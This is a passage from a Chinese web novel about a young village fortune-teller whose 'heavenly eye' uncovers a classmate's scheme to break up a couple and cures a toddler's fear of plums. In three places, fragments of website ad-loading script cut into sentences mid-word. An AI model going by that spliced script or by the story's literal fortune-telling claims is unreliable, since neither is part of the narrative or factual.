赵璨已经无话可说,这天眼还能血脉传承,转头一看她爸居然隐隐认同! 她爸妈以后不会每天神婆长神婆短吧? 唉这次怎么会低血糖,闹这么严重搞得她都理亏……这么一想,神婆就神婆吧,好歹算救她狗命。 赵璨和小卢也没下文了,当天晚上她就被爸妈打包回家,严格看管起来,说三餐都按医生说的来,以后每晚十点睡,早上起来跟爸妈锻炼去。 赵璨反抗无效,她爸妈这次是真被吓到了,想起来就说她一顿。 她妈一直唠叨:“那天晚上你就该回我消息,你居然忘了,你不知道我俩多担心你,你只顾着小卢!” 这不算完,第二天吃完早饭,她爸妈就在家准备各种礼物,商量着买什么什么,一问,等下要带她去给神婆亲自道谢,顺便问问她和小卢的事。 “小神婆起得有点晚,咱们下午去吧。明天她就得回学校,早去问问也好!” 赵阿姨仔细盘算,时不时添点东西,吃了中饭不久,一家三口拎着大小包开车到莲花村,一下车就引起注意。 赵阿姨也是莲花村嫁出去的,昨天才一脸焦急来过,今天就满面笑容过来。有上了年纪的,很淡定就猜出来:“小赵,找小神婆呢。” 赵阿姨:“是啊,小神婆不愧是开了天眼,跟米神婆一样神!” 几个阿婆聚在一起带孩子,神情里有种与有荣焉:“你是运气好啊,那会米神婆去世都三五年了,还有人开车来问,来求,那会可没有第二个米神婆。” “那来的人可绝望了,发疯的,要跳楼的,搂着生病孩子失望回去的,在米神婆坟上磕头求托梦的……你是赶上好时机,曲欣这孩子开了天眼!” 赵阿姨欣然认同,又有老人说:“不过你得躲着点米秀,她不想让自个女儿当神婆。” “为什么不想?”老人们对视,那还不是米神婆去得早嘛,才51岁,身体也健康,好好的就这么无疾而终。 5. 失联的女儿 虽然米神婆去之前,自己就说是攒够功德,要去找她丈夫和他俩早年夭折的小儿子。可米秀不这么想,她反正宁愿女儿健健康康长寿到老。 老人们没说得太细,就让这一家三口快去,赵璨听了片刻,看这氛围也有点半信半疑,米神婆从前的客户居然还有外省的? 到了小神婆家门口,普普通通的桃红色旧三层楼,收拾得挺干净。 曲欣很快来开门,她家住二楼,一楼三楼都便宜租给了别人。她家在华景雅苑还有套房子,也是放出去收租金,她小姨米丽也住那小区。 赵璨打眼一看,感觉这小神婆瞅着也太小了,真就眼神清澈大学生,披着中长发,眼睛很有神,气质很邻家,看人笑眯眯的。 赵璨心里嘀咕,像入学不久的呆萌小学妹,纯纯好骗那种。 赵阿姨夫妻进门寒暄起来,送的那一堆东西门口都堆不下。曲欣有点为难,她是真不喜欢互相推让,这些东西也不想让她妈知道…… 幸亏请了袁阿婆来,一番问候后进入正题,赵阿姨想让曲欣给女儿看看桃花。 赵阿姨将小卢和女儿的事说出来:“主要想问问,我女儿现在这个男朋友怎么样,我看他俩天天吵,到底合不合适?不合适的话,我女儿未来婚姻顺利吗?” 曲欣很淡定的说:“赵阿姨,我现在还看得不远,未来得未来看。” 赵阿姨身体往前倾:“对对,我老忘了这遭,那您看近期怎样?” “……”赵璨有点炸裂,还您,她妈说话怎么有股谄媚劲,再看她爸也一脸认真等着对方发话,仿佛她每一句都是金科玉律,不能错失半点。 赵璨有点气闷,不知该怎么反应好。曲欣就转头看着她,从额头到眼睛、鼻子、嘴唇,看得格外仔细的那种。 奇怪,赵璨还真有种被看透的错觉,让她格外不自在。 也没多久,曲欣说:“有小人作怪,给他俩互相使绊子。赵璨姐,你男朋友的朋友或同学是不是和你认识,跟你说了你男朋友的事,让你误会了。” 赵璨:“?” 赵璨顿时心里打鼓:“这,这什么意思,你是说……” 她眉头紧皱,表情空白的思考了一下,往身上掏手机,又顿住。 好一会儿,她语气艰难的说:“我是有个高中同学,现在是他室友。” 赵阿姨和赵叔叔对视一眼,这谈个恋爱还能有小人作怪?跟演电视剧似的。有误会女儿怎么不当面说清楚?她也不是那种爱藏心事的人啊。 赵璨有点手抖,摸出手机,又觉得自己很没出息,问曲欣:“我能单独跟你说嘛?” 不知为什么,她突然觉得对方可能说的是真的! 曲欣就站起来,笑容很亲切:“可以啊。” 赵璨有点难以置信,她跟着曲欣到阳台边,甚至不知该从何说起。同时她又有些惊喜,按神婆这说法是小人作怪,那她小卢没问题? 哈哈哈,这整的跟小说剧情似的,难道小卢真的没问题? 赵璨定了定神,翻出男友那个邻床的微信,备注是702小周。 这室友姓周就叫他小周,小周是自己加的赵璨微信,他俩是高中同学,虽然不熟但也能说两句。他女朋友小笛则恰好和小卢一个高中。 要说赵璨为啥突然对男友小卢翻来覆去的不满意,还是年初小周偷偷提醒她,小卢可能把她赵璨当替身。 哈哈哈,你听听,替身都出来了,怎么不是小说剧情! 赵璨没放在心上,她觉得自己和小卢感情还是不错的,两个人在一起对方喜不喜欢你,她当然能感觉出来——后来也是因为这个,才死活梗住不愿分手。 赵璨当时还心想,这小周什么意思,愚人节?找茬呢? 看小周平时挺憨厚,和男友关系也不错,赵璨没有立刻骂人。小周就发了他和他女朋友小笛的聊天记录,里边提到一个人。 原来小卢有个堂妹叫卢灿,她妈是小卢爸爸的远亲,幼年失怙被小卢爷爷奶奶一手养大。后来遇人不淑,就带着女儿卢灿改姓回到娘家。 小卢亲妈去世早,小学是姑姑照顾大的,他把这个姑姑当亲姑姑,妹妹就是亲堂妹,这赵璨可以理解。 小卢这个姑姑在他初中时出国挣钱,妹妹卢灿从小学到初高中都和他一个学校,关系一直不错。按小周和他女朋友的猜测,小卢可能高中就喜欢这个堂妹。 赵璨:……? 小周说,小卢和小笛以前一个高中,小卢虽然不是什么风云人物,但那会有女生死命的追小卢,小卢拒绝了好几次,后边就说自己有喜欢的人了。 高中生嘛,喜欢不喜欢的来得快去得快,赵璨根本不介意。但据小笛说,自己男友小卢这个喜欢的人贯穿高一到高三,好像是始终存在的。 但没人知道他喜欢的到底是谁,小笛本来也没想太多。 直到年初情人节,小卢送了赵璨一条裙子。 对,这大冬天的送了条漂亮裙子,但因为很贵很漂亮,赵璨当时挺喜欢,在家里开着空调换上,还发了个朋友圈说小卢脑子有病。 这其实是秀恩爱,你们懂吗? 好嘛秀出问题来了,小周和他女朋友聊天让小笛看到了,小笛就很奇怪啊这裙子有点眼熟。 打开高中朋友圈,卢灿上个月发的视频里不就穿的这条?不对只是有点像,都是白裙子,连衣裙款,卢灿这条也有两年了……但真的很像。 卢灿这会跟着她妈在澳大利亚留学,正夏季呢,身上穿着白裙子,长发披散,笑容灿烂,一看就又美又有气质。 小笛把视频转发给赵璨,赵璨一看,脸黑了。 彼时小卢还在赵璨发的那条朋友圈下边说:好看,披着头发更好看[爱心][爱心][爱心] 怒气值一波怒涨,但这时赵璨还是很冷静的。可能就是小卢直男审美,觉得这裙子好看,不过脑买了款相似的送她。 小周又说,小卢之前送赵璨的生日礼物,一个特别精致好看的木制八音盒,小卢自己录了十二首歌,寓意着一年十二个月都能代他陪伴赵璨。 小周的女朋友小笛说,这八音盒卢灿也有一个, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 特别宝贝。 赵璨:…… 小周还说:之前小卢和他堂妹在宿舍聊天,一聊聊了三个多小时,堂妹好像留学很心烦,小卢一直安慰她,喊她灿灿,搞得小周还以为他是和赵璨聊。 赵璨:? 赵璨有点绷不住,转头问小卢:你堂妹现在在国外,你们常联系吗? 小卢:那肯定啊,那就是亲妹,她还知道你咧。 赵璨:你堂妹是叫卢灿是吧,她有小名吗?我加她微信聊下。 小卢就把微信推给赵璨,赵璨全程关注他表情,冷不丁又问:你堂妹小名叫什么,我备注下。 小卢想了想,他家好像没小名这个东西,都直接叫大名。 对了,卢灿她妈也就是自家姑姑叫她灿灿。 小卢就很诚实的说:小名灿灿。 赵璨:…… 赵璨脸直接黑了:那你还叫我璨璨。 小卢愣了一下:不是你让我这么叫?看她表情有点恐怖,小小声说:其实除了我姑也没人那么叫她…… 赵璨持续黑脸,小卢终于转过弯,还在那思索:那我叫你什么。 赵璨终于发飙:你想怎么叫怎么叫! 赵璨加了堂妹微信,没看出堂妹有什么不对,很正常很热情,还说六月末放寒假回国给她准备了礼物,希望她能喜欢。 可她穿的那裙子真的很像,她还和自己一样,鹅蛋脸显得有点圆润那种……赵璨叫男友小卢,她听了第二天也开始小卢小卢。 赵璨看出来她是和哥哥关系很好,有点互相抬杠的那种纯兄妹感情。 赵璨就把自己那八音盒拍照给她看,说挺好看的,最近想收藏八音盒,去店里感觉每一个都好漂亮。 堂妹转头把自己收藏的一二三四五六七个八音盒拍给她,兴致勃勃说:我也是!我超喜欢!可惜出国只带了这几个。 赵璨:……你这都是自己买的吗,还是有别人送的? 堂妹:有几个小卢送的,也有我自己买的。 赵璨怒气值爆破,还不能表现出来,把自己气个半死,转头把小卢锤了一顿。她觉得堂妹应该没那意思,小卢怎么想就不知道了—— 他要是清白,大冬天送什么裙子,送什么八音盒,还说她披头发会更好看,她赵璨最讨厌披着头发,这小卢想死吗!? 赵璨总不能直接问小卢:你是不是喜欢你堂妹,又不能在一起,认识我就和我交往了? 她和闺蜜苦思冥想,各种试探,小周的女朋友小笛又送来重要证据,小卢高中有个用了三年多的钱包,里边有他和他堂妹的证件照。 赵璨转头问小卢:你以前那个钱包呢? 小卢最近被她整多了,有点小心的看她一眼,翻出钱包给她。 赵璨:不是我送的这个,你以前那个!!! 赵璨把小卢吓一大跳,抢过他之前那破钱包,打开一翻居然还真的有,一人一张的高中校服证件照,叠在一块夹在里层。 照片上两人都很青涩,脸上带着微微笑容,让人看了心直往下沉。 6. 失联的女儿 赵璨居然还很冷静,问:这怎么会有你堂妹的照片。 小卢偷偷看她,不知道她为啥又生气:她马大哈,高考放了几张在我这。 赵璨:现在大三了。 小卢:对啊。 赵璨:为什么这照片还贴在一起。 小卢:? 小卢顶着赵璨的死亡视线:就,放在一起,就贴在一起啊。 小卢又被锤了一顿,很委屈,和赵璨生气,被赵璨吼了一顿,自动好了。 几个室友看他最近被骂来骂去,都问这是怎么了,恋爱毕业综合征? 小卢也不知道啊,恋爱毕业综合征,还有这说法? 在赵璨不知道的地方,小卢邻床的室友劝他:临近毕业是这样子,女生会有不安全感,可能她不喜欢你实习的工作,毕竟要留下来就不在一个城市了。 小卢:没有啦,这次实习她帮我参考过的,也是她让我找老师推荐的。 室友:……唉,有时候女生就是这样子,莫名其妙,不讲道理,我女朋友也是,可能真的临近毕业吧,我都在想我要不要和她分开冷静一下。 小卢:你女朋友也和你吵架啦,那你得好好哄她呀。 小卢:其实我最近也晕头转向,我小赵好像不太喜欢我送的裙子,我在想要不要重新送个礼物…… 室友:这都过去多久了,你女朋友之前不是很喜欢那条裙子? 小卢:就是说啊,最近又不喜欢了。 室友:是不是她其实心烦了,找借口和你吵一架? 小卢:不会,她要吵就吵,不会找借口的。 室友:…… 室友:唉,我也是为你好,要实习了真的烦,女朋友更烦,我也想和我女朋友走下去,可她总是各种不满意,我真想大家都冷静一下。 小卢:不要这样想,要坚定信心,你们一定可以走下去的! 室友:……可我感觉她是有点那个意思,天天和我吵。 小卢当然不会和赵璨说他室友聊起自己和女友吵架的事,暗示他可以分手冷静冷静。 赵璨也不会跟他说他室友给自己通风报信他恋爱的不清白。 两人被这么横插一杠,渐渐开始吵架,赵璨对自己不太自信,有点管东管西,来回试探。 小卢不适应,也觉得对方天天阴阳怪气,是不是想分手? 吵了好几次,赵璨非常憋屈,她能感觉小卢还是喜欢她的,可能现在对他堂妹也没那意思。但三年前,最开始他俩认识时他心里怎么想的,谁知道呢? 赵璨心烦,赵璨暴躁,赵璨想分手又舍不得,觉得自己好没用,男人屁都不是,她还在这窝窝囊囊。 结果她都没说分手,小卢居然敢提分手! 还说她看人跟看贼一样,管得他都呼吸不过来了! 赵璨当场爆发,就是现在提起她都火气上头,什么小人作怪,你搞的什么白裙子,八音盒,还有钱包里放两人旧照片,你当我死人啊! 赵璨面目狰狞,亏她还在想怎么减肥让她和人家看起来不相像,又主动找上门求和,死小卢还敢躲着她,还说她‘每天没事耍他玩’。 撕拉!赵璨脑海里奥特曼将小怪兽撕成两半,炸成漫天飞粉! 赵璨很委屈,跟曲欣说:“我觉得这不能算小人作怪,人家就是看到了,告诉我,我真气不过!分手也行,本来我也不想搭理他!” 曲欣:“……”你刚刚表情不是这么说的。 曲欣盯着她眼睛:“可你男朋友对堂妹有好感这事完全是别人捏造的。” 赵璨一秒卡壳,眼睛瞪得像铜铃:“可他送的那什么……” 曲欣:“我看到的就是这样,你最好直接和你男朋友沟通。你们错过也挺可惜的,哦,不会错过,但会磕磕绊绊好几年。” 赵璨诡异的安静下来,憋出一句:“你意思是我俩是正缘吗?” 曲欣淡定:“大概是的。” 赵璨:“是就是,不是就不是,哪来大概是的。” 曲欣笑眯眯:“未来也不是一成不变啊,重要是你现在心里怎么想的,你希望未来是怎么样的。” 赵璨:“……” 赵璨扭捏了一下,想到小卢,觉得还是有必要再争取一下。 赵璨:“小,小神婆,你能说得再详细点吗?” 赵璨觉得一件两件都算了,小卢那桩桩件件,居然还能是假的吗? 万一她找男友坦白,男友突然黯然神伤,说原来你已经知道了,那我们彻底分开吧,我忘不了她的——万一他这么说呢? 哦,现在已经分手了,不是男友,是前男友,呵呵。 曲欣忍住笑:“我能看到的只有这么多,天眼也不是无所不能。” 其实能的,以后功德多了,能看到的只会更多,但太过神妙总会让人惧怕,她不会让别人发现她天眼的真正力量。 赵璨想了想,最后问一句:“总之,小卢只喜欢我,没有别的,是吗?” 她眼睛明亮而期待的望着曲欣,耳朵有点红了。 曲欣点点头,赵璨深吸一口气,稍显雀跃的出去了。赵阿姨夫妻询问的看着女儿,赵璨只小声说:“我等会跟你们说。” 曲欣微笑收下赵璨发的微信红包,还得到一句承诺:“小神婆,等我问清楚了我告诉你怎么回事!” 好啊好啊,曲欣心里连连点头,目送这一家三口离开了。 袁阿婆马上灵活的凑过来:“什么情况呢,璨妹子那高中同学喜欢她,故意搞破坏?” 曲欣神秘道:“不是。” 阿婆:“那她高中同学喜欢璨妹子男朋友?” 曲欣:“哈哈哈,也不是,阿婆你真的好新潮,这个都懂!” 阿婆很得意:“那是,我这老太婆可是跟着儿子认了很多字的,我抖音上好多小朋友,我与时俱进,我还学了成语呢!” 曲欣立刻夸她:“阿婆你真棒,你太厉害啦!” 赵璨路上和爸妈把事情说了,原先藏着掖着,因为‘男友把自己当堂妹替代品’这事太扯淡太羞耻,更羞耻的她还拖着纠结不想分手。 赵璨不想被爸妈知道她原来这么没出息…… 现在小神婆都这么说了,她迫不及待要找小卢聊聊天,找他盘问盘问! 赵璨:“我保证不会再出事,爸妈你们就让我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去吧!而且我买的景点门票都没法退~” 赵阿姨:“我陪你一起去,你爸镇守后方。” 好吧,也行。赵璨很有行动力,当即定了高铁票,又给小卢下达指令:你晚上有空吗?陪我喝咖啡。 小卢又惊又喜:你没走啊? 赵璨:来不来。 当然来啊,很快两人在咖啡馆见面,赵阿姨等候在侧。小卢打扮一新,还时髦的弄了下头发,进门就一呆,觉得这有点像鸿门宴。 但他俩这事拖得太久了,难得赵璨这么精神奕奕,看起来就像要和好如初或一刀两断的样子。 小卢和赵阿姨打了招呼,紧张的坐下来,赵璨开门见山:“你高中暗恋过你堂妹吗?” “……?”小卢顿时觉得自己有点听不懂人话了,“我堂妹?” 他看了看四周,他们坐的这角落挺隐蔽,但也不像有隐藏综艺摄像头的意思。小卢觉得赵璨是不是在玩什么真心话大冒险…… “我堂妹,你是说卢灿吗?”小卢谨慎的说,“她是我堂妹啊!” 赵阿姨默默站起来,远远坐到另一边,不想听女儿和她男朋友的傻冒对质了。 赵璨有点脸红,现在答案出来,她也觉得她几个月辗转郁结有够发癫的。但当时真是又酸又妒又抓狂,小卢每一个举动每一句话在她眼里都可疑! 赵璨:“那你为什么情人节送我和她一样的白裙子。” 小卢目光呆滞,有点不太确定:“有嘛……不是,我请室友女朋友帮我想的,当时好几条,我室友觉得这个白裙子最好,我也觉得……” 他渐渐小声:“你一开始不也很喜欢。” 赵璨脸上蹦出青筋:“为什么送我八音盒,八音盒也是你室友推荐的?你堂妹有一半八音盒是你送的!” 小卢终于明白她在吃谁的醋,但百口莫辩:“那是因为她就喜欢八音盒,我图省事……” “没有没有,我没对你省事,我只是突然想到可以送这个,我还特地学了十二首歌,重点是录的这十二首歌,我学了好久呢……” 赵璨:“你室友,就那个姓周的,说你有一阵和你堂妹晚上一聊就聊三四个小时,你还喊她灿灿,你你你。” 小卢脸上发黑,明白过来,顿时叫屈:“艹!我真没喊过!我俩从来直呼大名,就从小一起长大……放一块都有点恶心你懂吗?你信我真没有!” 两人一对,小卢才想起就有一次和妹妹聊天安慰她时,姑姑在那边喊了声灿灿,可能是这样被姓周的王八听到了,故意混淆事实。 小卢也要炸了,当即给宿舍另外两人拉了个群,语音对质,以证清白。 赵璨还有最后一波大招:“那你钱包里放你俩照片!” 小卢宽面泪:“真的是高考那阵放了就忘了,你也知道我懒,我就一直放那,那钱包其实根本都没怎么用啊!” 赵璨:“放了三四年!我问你你居然说对啊,对你个头!” 小卢终于明白赵璨为什么阴阳他,当时连续回答错误,他好蠢啊! 但赵璨还有个疑问:“那姓周的还有他女朋友小笛,为什么他俩知道你那么多事那么多细节?” 7. 失联的女儿+怕李子的小孩 小卢愣了一下:“姓周的女朋友姓笛吗?” 赵璨锐利目光扫过来:“你认识?她说和你高中一个学校。” 小卢面露茫然:“我们寝室都以为他女朋友姓陈……姓笛的话,高中有个叫笛陈的女生追我三年,她很变态的,高三还跑去我家里,要给我家搞大扫除。” 赵璨:“……?” 小卢:“你明白我的意思吗?就是大家快高考了,她不学习,她不知哪里看到我家地址,我奶奶一个人在家她非要进门说帮忙搞卫生!” 小卢越说越激动:“我靠,肯定是她,她还偷过我校服,我那么大件校服她偷走了还很无辜说她以为我不会回头找,这人脑子有病你知道嘛!” 赵璨赶紧:“好了好了,我知道了,对不起,我早该问你的。” 两人坐到一起,赵璨抱着大个子小卢拍拍,你侬我侬,旁边赵阿姨简直没眼看。 小卢委屈:“都是他们污蔑,这姓周的脑子有病啊,人家说什么他都信……不对,他自己也瞎扯,我什么时候喊过我妹灿灿了……” 小卢悲愤:“我要和他们当面对质!” 破案了,曲欣和阿婆想要的后续很快整理成文字语音,不止发给了曲欣,还发到了小卢他们班宿舍群,班级群,年级大群。 这个大瓜可真是让人大开眼界。 一开始被拆穿,小周还一脸老实,说自己都是听女友说的,女友小笛也没说这就是事实,他俩也是误会了小卢,才想着给赵璨提个醒。 他咬死不承认是故意,赵璨可不是吃素的。事实就是这个小笛脑回路不正常,她追了小卢三年,小卢只好拒绝说自己有喜欢的人了。 小笛转而暗中观察,但怎么也没找到疑似小卢喜欢的那个女生。 后来她不知哪根脑筋不对,觉得卢灿就是小卢喜欢的人,于是上门自荐搞卫生,想找到一点蛛丝马迹。 她想办法加到卢灿的QQ,得知对方即将出国留学,放心了,又继续骚扰小卢。小卢忍无可忍,狠狠的拒绝了她,说了些难听的话。 小卢:“高考完就没见过她了,我还以为我没事了……” 没想到三年后,她成了室友女朋友,突然冒出来搅风搅雨,还加了卢灿微信用来捏造各种细节。她简直像那种阴暗偷窥狂,专门盯着小卢祸害。 赵璨把这事告知小周,小周也麻了,他还以为是他先看不顺眼小卢,女朋友为他出气才搞出这事。 他为啥看不爽小卢,因为女朋友和他视频,觉得小卢看不起他,小卢排挤他,小卢不把他当朋友。 小卢:“……” 赵璨:“人家天天和男友视频,你一点都没认出她。” 小卢:“我,我没关注这个啊,认不出来又咋地,就非得报复我?” 总之,赵璨把种种细节整理了到处发,小周出来道歉,发了他和小笛的部分聊天记录,意思他也是被女朋友蒙蔽的,现在已经分手。 反正他人不在学校,实习去了,道歉就道歉。 小笛则装死,小卢要上班没时间,赵璨可没那么容易消气。她从对方朋友圈找到小笛实习的公司,直接找上门去,要求对方当面道歉。 直接上门是一重警告,告诉对方自己不是那种随便吃亏的人。 二重警告是,如果对方不道歉,赵璨会把她做的那些事打印出来,甚至做成立牌四处发放。 赵璨还加了对方公司的奶茶群,随时能把她做的奇葩事发出来。 还要死撑?那你就别怪她赵璨去找你学校,找你老家! 小笛很快道歉,赵璨开了视频,让她跟小卢也说对不起! 事情就此圆满结束,赵璨这会对曲欣心服口服。 她都不知道曲欣怎么能一眼看出问题所在,小神婆不愧是小神婆!赵璨想让曲欣给小卢也看一下,曲欣婉拒了,她正忙着呢。 曲欣:“不是遇到什么大问题,不要想着靠天眼改命。积极认真生活就好,平时做点好人好事,这样遇到难关我才好帮你。” 赵璨:“懂了,小神婆,我和小卢已经挑了几个贫困儿童准备资助一下。谢谢你,我会好好给自己积德的!” 挂断语音通话,曲欣骑着自行车驶过馄饨店,旁边麻将馆人声鼎沸,老板娘拎着自家小儿子出来洗脸,看到曲欣打了个招呼。 “小欣儿回来了,今天不是上着课呢?” 曲欣清脆扬声:“回来有点事~” 她学校离家里还是比较近的,公交半小时,自行车抄近路只要十八分钟。平时想爸妈了就扫一辆车骑回来,还能吃到爸妈做的好吃的。 正好今天她爸从老家回来了,还带了很多卤牛肉呢! 曲欣心情很好的骑到街尾,转头望了一下,下车结账。走了没两步,就听到响亮的哭声,接着赵阿公惊喜道:“诶哟,小神婆你来了。” 曲欣笑得很乖巧:“阿公你叫我小欣就好了,别被我妈听到。” 赵阿公把小孙子给旁边女儿,很快迎过来:“好,好,本来想着说带孩子去你家,没想你这么快过来了。来,来吃苹果,吃梨!” 曲欣被拉过去坐下,笑盈盈道:“阿公,琴姐,我先看看小鹿儿。” 琴姐就把小鹿哄着放到她怀里,曲欣抱着掂了掂,用手轻轻抚摸孩子的额头,大拇指刮他眼睛下边,哄着他笑。 小鹿儿今年三岁了,是赵阿公大儿子的第二个小孩,平时和哥哥养在赵阿公这里,性格胆小温顺,是个乖巧的好孩子。 昨天,他小姑也就是琴姐回老家休年假,路上买了很多水果,其中有一袋凤凰李,深紫色,吃起来又脆又甜。 琴姐洗了一盘,恰好小鹿儿过来,就拿给他吃。结果小鹿儿拿到手里,瞬间把李子甩出去,转头边跑边哭。 按琴姐的说法,他哭得太急又没看路,猛地撞到门板上,哭得更凶,差点撅过去。 琴姐好一番安慰,等他哭得差不多,拿李子想哄他,这下好了,小小一个人好像遇着什么妖魔鬼怪,倏然从她怀里翻出去,砰的摔到地上。 这下后脑勺也撞一个大包,人哭得眼泪三两斤,赶紧送去医院。 回来了人一直恹恹的,琴姐也没多想,只当是孩子摔疼了。 结果今天一早,好端端的吃完饭,看到他哥拿了个李子吃,刚咬一口,又开始哭,哭得昏天暗地,怎么都哄不好。 琴姐带着孩子去诊所,看不出个所以然。后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来发现只要让他看到李子,他就哭,就害怕,想躲,人特别抗拒。李子拿开,就搂着大人,小声抽搭。 反反复复,那是一看到李子就发自内心的恐惧与颤栗。 赵阿公思来想去,觉得这李子是不是有什么小孩能看到的脏东西? 也不让大孙子吃了,让琴姐找到曲欣微信,想着来给小神婆看看,免得出什么意外。 曲欣抱着小鹿儿,和他互动一会,这小孩睫毛长长的,眼尾红了一圈,脸白白嫩嫩,对她笑了一下,可怜又可爱。 曲欣把他仔细看了一圈,琴姐和赵阿公就在旁边屏息望着。 曲欣手把小孩脑袋往自己肩上抚去,小声道:“把李子给我看看。” 拿来果盘洗好的李子一看,就那种常见的凤凰李,不大不小,也很正常。 曲欣笑了一下:“没事。琴姐,你给小鹿儿表演一个,当着他面打李子。” 琴姐一头雾水:“……啊?” 曲欣已经把小孩脑袋转过来,嘴上说:“就用那个猫摆件,是不是金属的,用力砸扁。” 赵阿公:“?” 虽然疑惑,但小孩转过脸,看着马上就要哭,琴姐抓起实心的猫摆件,一头梆在李子上边,用的劲大,李子顿时扁裂开。 隔得远远的,小鹿儿还是怕,但把李子打扁,他就探着身子开始看。 曲欣抱住他,渐渐走近去,琴姐连着打扁了五六个李子,曲欣说:“阿公你当着他面吃吃看。” 赵阿公拿起裂开的李子,当着小鹿儿的面塞进嘴里。 小鹿儿看着阿公吃,往后瑟缩了一下。 曲欣捡起桌上李子,翻开果肉,递给小鹿儿:“小鹿儿吃不吃?” 小孩犹豫了一下,表情还是害怕,曲欣笑眯眯望着他,也不着急。小孩把果肉接到手里,在场三个大人都盯着他看。 小鹿儿懵懵懂懂,舌头小心的舔了一下,眯眼说:“甜的。” “对,这个是李子,李子和苹果还有梨子都是甜的。”曲欣说着,很温柔道,“小鹿儿咬一口,看喜不喜欢?” 小鹿儿听话的咬了一口,觉得确实甜甜的。 “喜欢吗?”曲欣笑着问他。 “……喜欢。” 曲欣又拿了个完好的李子给他,小孩抓在手里,没有再像丢炸弹那样丢出去。 琴姐和赵阿公都松一口气,互相看一眼,有点失笑。 琴姐:“诶哟,我都以为这李子有什么问题呢,这小鹿是被李子打过还是怎么的。我真是吓一跳,看到李子就哭!” 赵阿公满脸褶子的脸也舒展开,笑眯眯望着小孩吃李子。 曲欣心说:看着像前世第一回做人,没多大就被李子噎死了…… 赵阿公去拿了个厚厚的红包出来,曲欣忙将小鹿抱给琴姐,推辞道:“阿公你给我两张就行,小鹿儿这小事一桩,其实他再大点也不会怕的。” 如果不是天眼看了,她又插手了,她两张都不想收。 赵阿公立刻大嗓门:“那不行!米神婆的规矩我知道,我还能欺负你一个小孩?拿着,拿着,你拿去捐了都行!” 曲欣现在又不是小神婆了,她只好收下。 8. 闹事的石三 曲欣得回家吃饭了,琴姐拿个大袋子,胡乱装了苹果李子梨,走时小鹿儿跟出来,举着李子让她吃,曲欣佯装咬了一口。 小鹿儿很高兴,揪着小姑的衣服,学小姑冲曲欣招手,招了一会想起自己的李子,低头小心的啃了一口。 曲欣心情真愉快,能帮到别人,被别人感谢,这种快乐无与伦比! 她跑上楼,刚掏出钥匙,门就开了,她爸曲超站在门口,伸手去接她手里沉甸甸的水果:“你回家怎么还拎着……” 他声音一下子放低,偷摸道:“这是又干什么去了。” 曲欣也小声:“赵阿公家,非要我拿回来吃。” 曲超往里边看一眼:“快进来。” 父女俩鬼鬼祟祟进门,米秀其实老早看到了,懒得理他们! 曲欣把水果拎到自己房间,有点发愁,她在家从不自己花钱买东西,家里开个超市难道还要在外边买? 周末赵阿姨送过来那堆水果什么的她都拿去了学校,现在还老大一堆,这又来了水果。 以后要是人人都送,肯定会被她妈发现。 曲欣想了想,拎着水果又出来,米秀端着菜,看她一眼:“这又是什么啊。” 曲欣装得若无其事:“赵阿公给我的水果。” 米秀砰的一声把菜放桌上,深深呼吸,进厨房刷锅,曲超偷偷看女儿一眼,爱莫能助的跟进厨房端饭。 曲欣洗了手,满满一桌菜,一家三口默默吃饭。 老妈米秀长相清秀,泼辣有主见,家里大事小事都由她做主。曲欣长得像她,其实性格也像,看着脾气随和,认定的事一定会去做。 比如开了天眼后,不管米秀怎么三令五申,她想做这个小神婆,就是躲着她妈也要做。 老爸曲超是个耙耳朵,脾气随和,与人为善。他长得不高不矮,微胖,笑起来眼睛一条缝,做得一手好菜,经常给女儿打掩护。 可惜在米秀面前,他没什么发言权,想帮也帮不了多少。 曲超有点入赘那意思,他爸妈偏心小儿子,曲超结婚没从家里拿到一分钱,他多年上交的工资也‘全花完了’,当时闹得很难看。 曲欣就没怎么见过她名义上的爷爷奶奶,曲超有事回老家也不带米秀和曲欣。他不想他老婆孩子跟着他回家受委屈。 这会吃着饭,桌上有一盘卤牛肉,曲超笑着说:“来尝尝这个牛肉,你伯奶奶亲手做的,比上次你堂伯父做的好吃。” 曲超爸妈对他不好,但有个对他很好的大伯,大伯娘特别会做卤牛肉,每年都做了送过来。曲超和他堂哥关系也不错。 曲欣:“伯奶奶做的是好吃,妈妈做的这个小炒黄牛肉也好吃!” 米秀哼了一声,终于开口:“你开了天眼,周围看看就算了,不准给别人看。收了钱全都捐出去,不要留,知道吗?” 曲欣当然是点头做乖巧状:“我知道。” 米秀缓和语气:“咱们开着超市,反正吃喝不愁,你以后结婚房子也备好了,不指望你挣多少钱,只盼着你平平安安。” 曲超在一边应和:“你妈说的就是我想说的。” 米秀对她妈早早去世心有遗憾,觉得都是家里穷,留的钱多犯了忌讳。早年大家日子都不好过,她爸身体又不好,后来生下小弟,钱更是流水般花出去。 可到最后小弟还是去了,爸爸也伤心病逝。 米秀担心女儿掌握不了这个度,那还不如别用呢! 曲欣自然是连连点头,总算把她妈哄好了。第二天周三一二节没课,曲欣想着在家睡一晚呗。晚上爸妈都去超市帮忙,她也跟着去了。 曲欣家小超市其实不算小,全名福欣超市,没错,福气欣欣,她的名字! 超市因为东西便宜,种类齐全,莲花村人又多,生意很是不错。超市每天六点开门,晚上十一点半关门,曲欣她爸妈一个守早,一个守晚。 挣钱还是很辛苦的,曲欣开了天眼,其实也想补贴家里,可惜她妈不让。那就没办法,随便挣点吧,她先给天眼升升级。 反正有她在,她爸妈一定会平平安安,健康顺遂的度过这一生。 晚上人流量一波接一波,四个收银台都开着,曲欣就到处看看,观察着每个人的近期运道。天眼也有熟练度,看得多了,效率骤升。 这会有个大肚子男人步履蹒跚走进来,满脸红晕,眼周灰暗。曲欣看他一眼,想避开。 但对方已经说话了,人瘦瘦的,嗓门大得像打雷:“这个曲家的妹子,听说你最近开了天眼,啊哈哈,天眼!” 曲欣笑笑不说话,她妈米秀在收银处怒喝:“石三,关你屁事呢,喝醉了别来闹事,出去玩去!” 石三挥开旁人拉他的手:“我没醉,我来你超市,我消费,你都不让,那你开什么超市,倒闭算了!” 他斜靠在门口一箱箱矿泉水上,大着舌头说:“我哪里有闹事了,我说句话,说句话不行?” 米秀翻了个白眼,上周他离婚醉酒就来闹过一次! 旁边就有熟人和他说话,边说边转移他注意力,想拉他走开。 